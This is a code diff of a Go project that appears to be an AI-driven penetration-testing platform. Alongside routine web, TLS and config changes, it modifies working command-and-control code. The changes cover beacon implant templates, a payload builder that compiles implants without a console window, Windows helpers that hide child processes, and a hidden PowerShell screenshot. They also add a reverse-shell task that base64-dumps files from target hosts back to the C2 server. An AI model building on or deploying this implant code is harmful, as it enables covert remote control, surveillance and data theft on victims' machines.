 	skillsDir := skillpackage.SkillsRootFromConfig(cfg.SkillsDir, configPath)
 	log.Logger.Info("Skills 目录（Eino ADK skill 中间件 + Web 管理 API）", zap.String("skillsDir", skillsDir))
 	configDir := filepath.Dir(configPath)
+	plantaskRel := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.PlantaskRelDir)
+	if plantaskRel == "" {
+		plantaskRel = ".eino/plantask"
+	}
+	plantaskBase := filepath.Join(skillsDir, plantaskRel)
+	// Match eino_adk_run_loop: checkpoint_dir is used as configured (relative to process CWD when not absolute).
+	checkpointBase := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.CheckpointDir)
+	db.SetEinoConversationDirs(plantaskBase, checkpointBase)
 	agent.SetPromptBaseDir(configDir)
 
 	agentsDir := cfg.AgentsDir
@@ -880,6 +888,7 @@ func setupRoutes(
 		protected.DELETE("/monitor/execution/:id", monitorHandler.DeleteExecution)
 		protected.DELETE("/monitor/executions", monitorHandler.DeleteExecutions)
 		protected.GET("/monitor/stats", monitorHandler.GetStats)
+		protected.GET("/monitor/calls-timeline", monitorHandler.GetCallsTimeline)
 		protected.GET("/notifications/summary", notificationHandler.GetSummary)
 		protected.POST("/notifications/read", notificationHandler.MarkRead)
 
@@ -1065,6 +1074,7 @@ func setupRoutes(
 		// 漏洞管理
 		protected.GET("/vulnerabilities", vulnerabilityHandler.ListVulnerabilities)
 		protected.GET("/vulnerabilities/export", vulnerabilityHandler.ExportVulnerabilities)
+		protected.DELETE("/vulnerabilities/batch", vulnerabilityHandler.BatchDeleteVulnerabilities)
 		protected.GET("/vulnerabilities/filter-options", vulnerabilityHandler.GetVulnerabilityFilterOptions)
 		protected.GET("/vulnerabilities/stats", vulnerabilityHandler.GetVulnerabilityStats)
 		protected.GET("/vulnerabilities/:id", vulnerabilityHandler.GetVulnerability)
@@ -1073,6 +1083,7 @@ func setupRoutes(
 		protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability)
 
 		// 项目管理与事实黑板
+		protected.GET("/projects/dashboard-summary", projectHandler.GetDashboardSummary)
 		protected.GET("/projects", projectHandler.ListProjects)
 		protected.POST("/projects", projectHandler.CreateProject)
 		protected.GET("/projects/:id/stats", projectHandler.GetProjectStats)
@@ -1081,8 +1092,6 @@ func setupRoutes(
 		protected.PUT("/projects/:id", projectHandler.UpdateProject)
 		protected.DELETE("/projects/:id", projectHandler.DeleteProject)
 		protected.GET("/projects/:id/facts", projectHandler.ListFacts)
-		protected.GET("/projects/:id/facts/:factId/previous-version", projectHandler.GetFactPreviousVersion)
-		protected.GET("/projects/:id/facts/:factId/versions", projectHandler.ListFactVersions)
 		protected.POST("/projects/:id/facts", projectHandler.CreateFact)
 		protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact)
 		protected.DELETE("/projects/:id/facts/:factId", projectHandler.DeleteFact)

internal/app/main_server_http_redirect.go

@@ -47,6 +47,24 @@ func (l *oneConnListener) Accept() (net.Conn, error) {
 func (l *oneConnListener) Close() error   { return nil }
 func (l *oneConnListener) Addr() net.Addr { return l.addr }
 
+// httpServerForTLSConn 从已有 Server 复制可服务字段，用于已握手 TLS 连接上的 HTTP 服务。
+// 不能复制整个 http.Server（内含 atomic/noCopy 字段）。
+func httpServerForTLSConn(src *http.Server) *http.Server {
+	return &http.Server{
+		Handler:                      src.Handler,
+		DisableGeneralOptionsHandler: src.DisableGeneralOptionsHandler,
+		ReadTimeout:                  src.ReadTimeout,
+		ReadHeaderTimeout:            src.ReadHeaderTimeout,
+		WriteTimeout:                 src.WriteTimeout,
+		IdleTimeout:                  src.IdleTimeout,
+		MaxHeaderBytes:               src.MaxHeaderBytes,
+		ConnState:                    src.ConnState,
+		ErrorLog:                     src.ErrorLog,
+		BaseContext:                  src.BaseContext,
+		ConnContext:                  src.ConnContext,
+	}
+}
+
 func isTLSHandshakeRecord(b byte) bool {
 	return b == 0x16
 }
@@ -172,8 +190,7 @@ func (m *mainServerMux) serveHTTPS(pc *peekedConn, localAddr net.Addr) {
 		}
 	}
 
-	plain := *srv
-	plain.TLSConfig = nil
+	plain := httpServerForTLSConn(srv)
 	ocl := &oneConnListener{conn: tlsConn, addr: localAddr}
 	if err := plain.Serve(ocl); err != nil && !errors.Is(err, net.ErrClosed) && !errors.Is(err, http.ErrServerClosed) {
 		m.logger.Debug("HTTPS 连接处理结束", zap.Error(err))

internal/app/vulnerability_tools.go

@@ -293,8 +293,8 @@ func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, log
 				},
 				"status": map[string]interface{}{
 					"type":        "string",
-					"description": "按状态筛选：open、confirmed、fixed、false_positive",
-					"enum":        []string{"open", "confirmed", "fixed", "false_positive"},
+					"description": "按状态筛选：open、confirmed、fixed、false_positive、ignored",
+					"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 				},
 				"q": map[string]interface{}{
 					"type":        "string",

internal/c2/console_encoding.go

@@ -0,0 +1,48 @@
+package c2
+
+import (
+	"encoding/base64"
+	"strings"
+	"unicode/utf8"
+
+	"golang.org/x/text/encoding/simplifiedchinese"
+	"golang.org/x/text/transform"
+)
+
+// NormalizeConsoleOutput 将 implant/Shell 原始控制台字节转为 UTF-8 文本。
+// osTag 来自会话的 os 字段（如 windows / Windows 10）；空值时按 auto 处理。
+func NormalizeConsoleOutput(raw []byte, osTag string) string {
+	if len(raw) == 0 {
+		return ""
+	}
+	osTag = strings.ToLower(strings.TrimSpace(osTag))
+	isWindows := strings.Contains(osTag, "windows")
+
+	if utf8.Valid(raw) {
+		return string(raw)
+	}
+	if isWindows {
+		if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
+			return string(out)
+		}
+	}
+	// 非 Windows 或解码失败：GB18030 兜底（覆盖 GBK）
+	if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
+		return string(out)
+	}
+	return string(raw)
+}
+
+// ResolveTaskResultText 合并 beacon 回传的 Output/OutputB64（及 Error/ErrorB64），按会话 OS 解码。
+func ResolveTaskResultText(plain, b64, sessionOS string) string {
+	if strings.TrimSpace(b64) != "" {
+		raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(b64))
+		if err == nil {
+			return NormalizeConsoleOutput(raw, sessionOS)
+		}
+	}
+	if plain == "" {
+		return ""
+	}
+	return NormalizeConsoleOutput([]byte(plain), sessionOS)
+}

internal/c2/console_encoding_test.go

@@ -0,0 +1,51 @@
+package c2
+
+import (
+	"encoding/base64"
+	"testing"
+
+	"golang.org/x/text/encoding/simplifiedchinese"
+	"golang.org/x/text/transform"
+)
+
+func mustGBK(t *testing.T, s string) []byte {
+	t.Helper()
+	out, _, err := transform.Bytes(simplifiedchinese.GBK.NewEncoder(), []byte(s))
+	if err != nil {
+		t.Fatal(err)
+	}
+	return out
+}
+
+func TestNormalizeConsoleOutput_WindowsGBK(t *testing.T) {
+	raw := mustGBK(t, "中文测试")
+	got := NormalizeConsoleOutput(raw, "windows")
+	if got != "中文测试" {
+		t.Fatalf("got %q want 中文测试", got)
+	}
+}
+
+func TestNormalizeConsoleOutput_UTF8Passthrough(t *testing.T) {
+	raw := []byte("hello 世界")
+	got := NormalizeConsoleOutput(raw, "linux")
+	if got != "hello 世界" {
+		t.Fatalf("got %q", got)
+	}
+}
+
+func TestResolveTaskResultText_PrefersB64(t *testing.T) {
+	raw := mustGBK(t, "采购订单")
+	b64 := base64.StdEncoding.EncodeToString(raw)
+	got := ResolveTaskResultText("", b64, "windows")
+	if got != "采购订单" {
+		t.Fatalf("got %q", got)
+	}
+}
+
+func TestResolveTaskResultText_PlainFallback(t *testing.T) {
+	raw := mustGBK(t, "测试")
+	got := ResolveTaskResultText(string(raw), "", "windows")
+	if got != "测试" {
+		t.Fatalf("got %q", got)
+	}
+}

internal/c2/listener_http.go

@@ -367,6 +367,7 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ
 	}
 	prefix := l.cfg.BeaconFilePath
 	taskID := strings.TrimPrefix(r.URL.Path, prefix)
+	taskID = strings.TrimSuffix(taskID, ".bin")
 	if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
 		l.disguisedReject(w)
 		return

internal/c2/listener_http_test.go

@@ -2,10 +2,12 @@ package c2
 
 import (
 	"bytes"
+	"encoding/base64"
 	"encoding/json"
 	"io"
 	"net"
 	"net/http"
+	"os"
 	"path/filepath"
 	"strconv"
 	"strings"
@@ -127,3 +129,101 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
 		}
 	})
 }
+
+func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "c2.sqlite")
+	db, err := database.NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = db.Close() })
+
+	lnPick, err := net.Listen("tcp", "127.0.0.1:0")
+	if err != nil {
+		t.Fatal(err)
+	}
+	port := lnPick.Addr().(*net.TCPAddr).Port
+	_ = lnPick.Close()
+
+	keyB64, err := GenerateAESKey()
+	if err != nil {
+		t.Fatal(err)
+	}
+	token := "test-implant-token-file"
+
+	lid := "l_testhttpfile01"
+	rec := &database.C2Listener{
+		ID:            lid,
+		Name:          "t",
+		Type:          string(ListenerTypeHTTPBeacon),
+		BindHost:      "127.0.0.1",
+		BindPort:      port,
+		EncryptionKey: keyB64,
+		ImplantToken:  token,
+		Status:        "stopped",
+		ConfigJSON:    `{"beacon_file_path":"/file/"}`,
+		CreatedAt:     time.Now(),
+	}
+	if err := db.CreateC2Listener(rec); err != nil {
+		t.Fatal(err)
+	}
+
+	store := filepath.Join(tmp, "c2store")
+	m := NewManager(db, zap.NewNop(), store)
+	m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
+	if _, err := m.StartListener(lid); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = m.StopListener(lid) })
+
+	fileID := "f_testfile123"
+	downDir := filepath.Join(store, "downstream")
+	if err := os.MkdirAll(downDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	want := []byte("upload-payload-bytes")
+	if err := os.WriteFile(filepath.Join(downDir, fileID+".bin"), want, 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	base := "http://127.0.0.1:" + strconv.Itoa(port)
+	client := &http.Client{Timeout: 5 * time.Second}
+
+	for _, path := range []string{"/file/" + fileID, "/file/" + fileID + ".bin"} {
+		t.Run(path, func(t *testing.T) {
+			req, _ := http.NewRequest(http.MethodGet, base+path, nil)
+			req.Header.Set("X-Implant-Token", token)
+			resp, err := client.Do(req)
+			if err != nil {
+				t.Fatal(err)
+			}
+			defer resp.Body.Close()
+			if resp.StatusCode != http.StatusOK {
+				b, _ := io.ReadAll(resp.Body)
+				t.Fatalf("status=%d body=%q", resp.StatusCode, b)
+			}
+			raw, err := io.ReadAll(resp.Body)
+			if err != nil {
+				t.Fatal(err)
+			}
+			plain, err := DecryptAESGCM(keyB64, string(raw))
+			if err != nil {
+				t.Fatal(err)
+			}
+			var out struct {
+				FileData string `json:"file_data"`
+			}
+			if err := json.Unmarshal(plain, &out); err != nil {
+				t.Fatal(err)
+			}
+			got, err := base64.StdEncoding.DecodeString(out.FileData)
+			if err != nil {
+				t.Fatal(err)
+			}
+			if !bytes.Equal(got, want) {
+				t.Fatalf("got %q want %q", got, want)
+			}
+		})
+	}
+}

internal/c2/listener_tcp.go

@@ -298,6 +298,12 @@ func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope)
 		return
 	}
 	cleaned := cleanShellOutput(output, cmd)
+	if TaskType(env.TaskType) == TaskTypeDownload {
+		if errMsg := detectDownloadShellError(cleaned); errMsg != "" {
+			l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "")
+			return
+		}
+	}
 	l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
 }
 
@@ -316,8 +322,8 @@ func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64,
 }
 
 // buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
-// 仅支持 TCP 反弹模式可直接执行的最简任务类型；upload/download/screenshot 这些
-// 需要二进制传输的能力建议使用 http_beacon。
+// 仅支持 TCP 反弹模式可直接执行的最简任务类型；download 通过 base64 输出文本结果，
+// upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。
 func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
 	switch t {
 	case TaskTypeExec, TaskTypeShell:
@@ -345,6 +351,16 @@ func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool)
 			return "", false
 		}
 		return "cd " + shellQuote(path) + " && pwd", true
+	case TaskTypeDownload:
+		path, _ := payload["remote_path"].(string)
+		if strings.TrimSpace(path) == "" {
+			return "", false
+		}
+		q := shellQuote(path)
+		return fmt.Sprintf(
+			`f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`,
+			q,
+		), true
 	case TaskTypeExit:
 		return "exit 0", true
 	}
@@ -382,6 +398,29 @@ func shellQuote(s string) string {
 	return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
 }
 
+// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。
+func detectDownloadShellError(output string) string {
+	trimmed := strings.TrimSpace(output)
+	if trimmed == "" {
+		return ""
+	}
+	lower := strings.ToLower(trimmed)
+	markers := []string{
+		"c2_download_err:",
+		"no such file",
+		"permission denied",
+		"is a directory",
+		"cannot open",
+		"not a regular file",
+	}
+	for _, m := range markers {
+		if strings.Contains(lower, m) {
+			return trimmed
+		}
+	}
+	return ""
+}
+
 func isAddrInUse(err error) bool {
 	if err == nil {
 		return false

internal/c2/listener_tcp_download_test.go

@@ -0,0 +1,43 @@
+package c2
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestDetectDownloadShellError(t *testing.T) {
+	tests := []struct {
+		name   string
+		output string
+		want   string
+	}{
+		{name: "empty ok", output: "", want: ""},
+		{name: "base64 ok", output: "aGVsbG8=", want: ""},
+		{name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"},
+		{name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"},
+		{name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := detectDownloadShellError(tt.output)
+			if got != tt.want {
+				t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestBuildTCPCommandDownload(t *testing.T) {
+	cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{
+		"remote_path": "/tmp/demo.txt",
+	})
+	if !ok {
+		t.Fatal("expected download command to be supported")
+	}
+	if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) {
+		t.Fatalf("command %q should contain %q", cmd, want)
+	}
+	if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") {
+		t.Fatalf("command should validate file before base64: %q", cmd)
+	}
+}

internal/c2/manager.go

@@ -638,10 +638,18 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
 		status = string(TaskFailed)
 	}
 	duration := endedAt.Sub(startedAt).Milliseconds()
+
+	sessionOS := ""
+	if sess, serr := m.db.GetC2Session(t.SessionID); serr == nil && sess != nil {
+		sessionOS = sess.OS
+	}
+	resultText := ResolveTaskResultText(report.Output, report.OutputB64, sessionOS)
+	errText := ResolveTaskResultText(report.Error, report.ErrorB64, sessionOS)
+
 	upd := database.C2TaskUpdate{
 		Status:      &status,
-		ResultText:  &report.Output,
-		Error:       &report.Error,
+		ResultText:  &resultText,
+		Error:       &errText,
 		StartedAt:   &startedAt,
 		CompletedAt: &endedAt,
 		DurationMS:  &duration,
@@ -661,8 +669,8 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
 		return err
 	}
 	t.Status = status
-	t.ResultText = report.Output
-	t.Error = report.Error
+	t.ResultText = resultText
+	t.Error = errText
 
 	level := "info"
 	msg := fmt.Sprintf("任务完成: %s", t.TaskType)

internal/c2/payload_builder.go

@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 	}
 	f.Close()
 
+	// 平台相关辅助源文件（如无窗口子进程）
+	for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
+		helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
+		helperData, readErr := os.ReadFile(helperSrc)
+		if readErr != nil {
+			return nil, fmt.Errorf("read helper %s: %w", name, readErr)
+		}
+		if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
+			return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
+		}
+	}
+
 	// 交叉编译
 	binName := strings.TrimSpace(in.OutputName)
 	if binName == "" {
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 		return nil, fmt.Errorf("mkdir output: %w", err)
 	}
 
-	absSrcPath, err := filepath.Abs(srcPath)
-	if err != nil {
-		return nil, fmt.Errorf("abs source path: %w", err)
-	}
 	absBinPath, err := filepath.Abs(binPath)
 	if err != nil {
 		return nil, fmt.Errorf("abs output path: %w", err)
 	}
-	cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
+	ldflags := "-s -w -buildid="
+	if goos == "windows" {
+		// 无控制台窗口运行 beacon 本体
+		ldflags += " -H windowsgui"
+	}
+	cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
 	cmd.Env = append(os.Environ(),
 		"GOOS="+goos,
 		"GOARCH="+goarch,

internal/c2/payload_templates/beacon.go.tmpl

@@ -45,6 +45,7 @@ import (
 	"strings"
 	"sync"
 	"time"
+	"unicode/utf8"
 )
 
 // 编译期注入常量（text/template 替换）
@@ -101,7 +102,9 @@ type TaskReport struct {
 	TaskID     string `json:"task_id"`
 	Success    bool   `json:"success"`
 	Output     string `json:"output,omitempty"`
+	OutputB64  string `json:"output_b64,omitempty"`
 	Error      string `json:"error,omitempty"`
+	ErrorB64   string `json:"error_b64,omitempty"`
 	BlobBase64 string `json:"blob_b64,omitempty"`
 	BlobSuffix string `json:"blob_suffix,omitempty"`
 	StartedAt  int64  `json:"started_at"`
@@ -326,16 +329,7 @@ func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
 	defer func() { tcpTaskConn = nil }()
 	start := time.Now()
 	output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
-	report := TaskReport{
-		TaskID:     env.TaskID,
-		Success:    errMsg == "",
-		Output:     output,
-		Error:      errMsg,
-		BlobBase64: blobB64,
-		BlobSuffix: blobSuffix,
-		StartedAt:  start.UnixMilli(),
-		EndedAt:    time.Now().UnixMilli(),
-	}
+	report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
 	tcpReportResult(conn, report)
 }
 
@@ -367,7 +361,8 @@ func fetchC2FileByID(fileID string) ([]byte, error) {
 	if tcpTaskConn != nil {
 		return tcpFetchEncryptedFile(tcpTaskConn, fileID)
 	}
-	url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID)
+	// 服务端 handleFileServe 会在 downstream/<file_id>.bin 读取；URL 路径应为 /file/<file_id>，勿重复 .bin
+	url := fmt.Sprintf("%s%s%s", serverURL, filePath, fileID)
 	req, _ := http.NewRequest("GET", url, nil)
 	req.Header.Set("User-Agent", userAgent)
 	req.Header.Set("X-Implant-Token", implantToken)
@@ -635,20 +630,39 @@ func decryptGCM(cipherText string) ([]byte, error) {
 	return gcm.Open(nil, nonce, ct, nil)
 }
 
+func encodeReportText(s string) (plain, b64 string) {
+	if s == "" {
+		return "", ""
+	}
+	b := []byte(s)
+	if utf8.Valid(b) {
+		return s, ""
+	}
+	return "", base64.StdEncoding.EncodeToString(b)
+}
+
+func buildTaskReport(taskID, output, errMsg, blobB64, blobSuffix string, start, end time.Time) TaskReport {
+	outText, outB64 := encodeReportText(output)
+	errText, errB64 := encodeReportText(errMsg)
+	return TaskReport{
+		TaskID:     taskID,
+		Success:    errMsg == "",
+		Output:     outText,
+		OutputB64:  outB64,
+		Error:      errText,
+		ErrorB64:   errB64,
+		BlobBase64: blobB64,
+		BlobSuffix: blobSuffix,
+		StartedAt:  start.UnixMilli(),
+		EndedAt:    end.UnixMilli(),
+	}
+}
+
 func handleTaskAsync(env TaskEnv) {
 	defer func() { _ = recover() }()
 	start := time.Now()
 	output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
-	report := TaskReport{
-		TaskID:     env.TaskID,
-		Success:    errMsg == "",
-		Output:     output,
-		Error:      errMsg,
-		BlobBase64: blobB64,
-		BlobSuffix: blobSuffix,
-		StartedAt:  start.UnixMilli(),
-		EndedAt:    time.Now().UnixMilli(),
-	}
+	report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
 	reportResult(report)
 }
 
@@ -715,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
 		timeoutSec = 60
 	}
 	cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()
@@ -890,12 +905,26 @@ func taskKillProc(payload map[string]interface{}) (string, string, string, strin
 	return "killed", "", "", ""
 }
 
+func normalizeRemotePath(p string) string {
+	p = strings.TrimSpace(p)
+	if p == "" || runtime.GOOS != "windows" {
+		return p
+	}
+	// 控制台可能下发 /d:/path/file（Unix 风格），Windows 需转为 d:\path\file
+	p = strings.ReplaceAll(p, "\\", "/")
+	if len(p) >= 3 && p[0] == '/' && p[2] == ':' {
+		p = p[1:]
+	}
+	return filepath.FromSlash(p)
+}
+
 func taskUpload(payload map[string]interface{}) (string, string, string, string) {
 	remotePath, _ := payload["remote_path"].(string)
 	fileID, _ := payload["file_id"].(string)
 	if remotePath == "" || fileID == "" {
 		return "", "", "", "remote_path or file_id empty"
 	}
+	remotePath = normalizeRemotePath(remotePath)
 	data, err := fetchC2FileByID(fileID)
 	if err != nil {
 		return "", "", "", err.Error()
@@ -931,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
 		b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
 	case "windows":
 		ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
-		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
+		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
 	default:
 		return "", "", "", "screenshot not supported on " + runtime.GOOS
 	}
@@ -1172,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
 		cmdArgs = strings.Fields(args)
 	}
 	cmd := exec.Command(tmpFile, cmdArgs...)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()

internal/c2/payload_templates/proc_hide_unix.go.tmpl

@@ -0,0 +1,9 @@
+//go:build !windows
+
+package main
+
+import "os/exec"
+
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	_ = cmd
+}

internal/c2/payload_templates/proc_hide_windows.go.tmpl

@@ -0,0 +1,18 @@
+//go:build windows
+
+package main
+
+import (
+	"os/exec"
+	"syscall"
+)
+
+// prepareHiddenCmd 避免子进程弹出控制台窗口（cmd / powershell / 临时 exe 等）。
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	if cmd == nil {
+		return
+	}
+	// 仅用 HideWindow：等价于 CREATE_NO_WINDOW，且 macOS/Linux 交叉编译 Windows 时
+	// syscall.CREATE_NO_WINDOW 常量不可用。
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+}

internal/c2/types.go

@@ -209,7 +209,9 @@ type TaskResultReport struct {
 	TaskID     string `json:"task_id"`
 	Success    bool   `json:"success"`
 	Output     string `json:"output,omitempty"`
+	OutputB64  string `json:"output_b64,omitempty"` // 原始控制台字节（base64），避免 JSON 破坏非 UTF-8 输出
 	Error      string `json:"error,omitempty"`
+	ErrorB64   string `json:"error_b64,omitempty"`
 	BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
 	BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
 	StartedAt  int64  `json:"started_at"`

internal/config/config.go

@@ -72,10 +72,12 @@ type MultiAgentConfig struct {
 	BatchUseMultiAgent     bool   `yaml:"batch_use_multi_agent" json:"batch_use_multi_agent"` // 为 true 时批量任务队列中每子任务走 Eino 多代理
 	// Orchestration 已弃用：保留仅兼容旧版 config.yaml；编排由聊天/WebShell 请求体 orchestration 决定，未传时按 deep。
 	Orchestration string `yaml:"orchestration,omitempty" json:"orchestration,omitempty"`
-	MaxIteration  int    `yaml:"max_iteration" json:"max_iteration"` // 主代理 / 执行器最大推理轮次（Deep、Supervisor、plan_execute 的 Executor）
+	// MaxIteration 已废弃：统一使用 agent.max_iterations（YAML 中保留字段仅为兼容旧配置，运行时不读取）。
+	MaxIteration int `yaml:"max_iteration,omitempty" json:"max_iteration,omitempty"`
 	// PlanExecuteLoopMaxIterations plan_execute 模式下 execute↔replan 外层循环上限；0 表示用 Eino 默认 10。
-	PlanExecuteLoopMaxIterations int    `yaml:"plan_execute_loop_max_iterations,omitempty" json:"plan_execute_loop_max_iterations,omitempty"`
-	SubAgentMaxIterations        int    `yaml:"sub_agent_max_iterations" json:"sub_agent_max_iterations"`
+	PlanExecuteLoopMaxIterations int `yaml:"plan_execute_loop_max_iterations,omitempty" json:"plan_execute_loop_max_iterations,omitempty"`
+	// SubAgentMaxIterations 已废弃：子代理与主代理均使用 agent.max_iterations（Markdown max_iterations>0 可覆盖）。
+	SubAgentMaxIterations int `yaml:"sub_agent_max_iterations,omitempty" json:"sub_agent_max_iterations,omitempty"`
 	WithoutGeneralSubAgent       bool   `yaml:"without_general_sub_agent" json:"without_general_sub_agent"`
 	WithoutWriteTodos            bool   `yaml:"without_write_todos" json:"without_write_todos"`
 	OrchestratorInstruction      string `yaml:"orchestrator_instruction" json:"orchestrator_instruction"`
@@ -238,6 +240,8 @@ type MultiAgentEinoMiddlewareConfig struct {
 	SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"`
 	// SummarizationEmitInternalEvents controls middleware internal event emission (default true).
 	SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"`
+	// SummarizationRetryMaxAttempts is extra retries after the first summarization Generate attempt; 0 = default 3.
+	SummarizationRetryMaxAttempts int `yaml:"summarization_retry_max_attempts,omitempty" json:"summarization_retry_max_attempts,omitempty"`
 	// PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35).
 	PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"`
 	// PlanExecuteExecutedStepsBudgetRatio caps executed_steps prompt budget ratio (default 0.2).

internal/config/vision.go

@@ -15,8 +15,7 @@ type VisionConfig struct {
 	JPEGQuality     int      `yaml:"jpeg_quality,omitempty" json:"jpeg_quality,omitempty"`
 	MaxPayloadBytes          int64 `yaml:"max_payload_bytes,omitempty" json:"max_payload_bytes,omitempty"`
 	SkipPreprocessBelowBytes int64 `yaml:"skip_preprocess_below_bytes,omitempty" json:"skip_preprocess_below_bytes,omitempty"` // 0=始终压缩；默认 2MB 且长边已<=max_dimension 时原图直传
-	Detail                   string   `yaml:"detail,omitempty" json:"detail,omitempty"` // low | high | auto
-	AllowedRoots    []string `yaml:"allowed_roots,omitempty" json:"allowed_roots,omitempty"`
+	Detail string `yaml:"detail,omitempty" json:"detail,omitempty"` // low | high | auto
 }
 
 func (v VisionConfig) TimeoutSecondsEffective() int {

internal/database/attackchain.go

@@ -77,7 +77,7 @@ func (db *DB) LoadAttackChainNodes(conversationID string) ([]AttackChainNode, er
 		SELECT id, node_type, node_name, tool_execution_id, metadata, risk_score
 		FROM attack_chain_nodes
 		WHERE conversation_id = ?
-		ORDER BY created_at ASC
+		ORDER BY created_at ASC, rowid ASC
 	`
 
 	rows, err := db.Query(query, conversationID)
@@ -123,7 +123,7 @@ func (db *DB) LoadAttackChainEdges(conversationID string) ([]AttackChainEdge, er
